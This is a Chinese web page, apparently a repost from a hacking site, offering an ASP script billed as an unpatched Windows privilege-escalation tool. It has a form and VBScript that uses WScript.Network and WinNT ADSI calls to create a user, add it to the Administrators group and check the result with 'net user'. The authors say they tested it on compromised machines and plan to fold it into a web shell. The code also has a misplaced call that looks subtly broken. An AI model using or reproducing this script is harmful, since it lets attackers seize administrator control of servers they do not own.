添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]


答案：添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞] 
作者：蓝屏,凯文 文章来源：冰点极限
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛). 
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯``` 

反正代码是对的，但是很少能成功，具体的看运气了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。 
复制代码 代码如下:

<head>.network对象脚本权限提升漏洞利用工具</head>  
<form action="useradd.asp" method=post>  
用户:<input name="username" type="text" value="kevin1986"><br>  
密码:<input name="passwd" type="password"><br>  
<input type="submit" Value="添 加">  
</form>  

<%@codepage=936  
on error resume next  
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then  
response.write "iP !s n0T RiGHt"  
else  
if request("username")<>"" then  
username=request("username")  
passwd=request("passwd")  
Response.Expires=0  
Session.TimeOut=50  
Server.ScriptTimeout=3000  
set lp=Server.createObject("WSCRIPT.NETWORK")  
oz="WinNT://"&lp.ComputerName  
Set ob=GetObject(oz)  
Set oe=GetObject(oz&"/Administrators,group")  
Set od=ob.create("user",username)  
od.SetPassword passwd  
od.SetInfo  
oe.Add oz&"/"&username  
if err then  
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"  
else  
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then  
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"  
else  
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"  
end if  
end if  
else  
response.write "请输入输入用户名"  
end if  
end if  
%>

上一个：ASP下实现自动采集程序及入库的代码
下一个：在ASP中用组件检测当前网卡地址的代码

更多图片编程知识: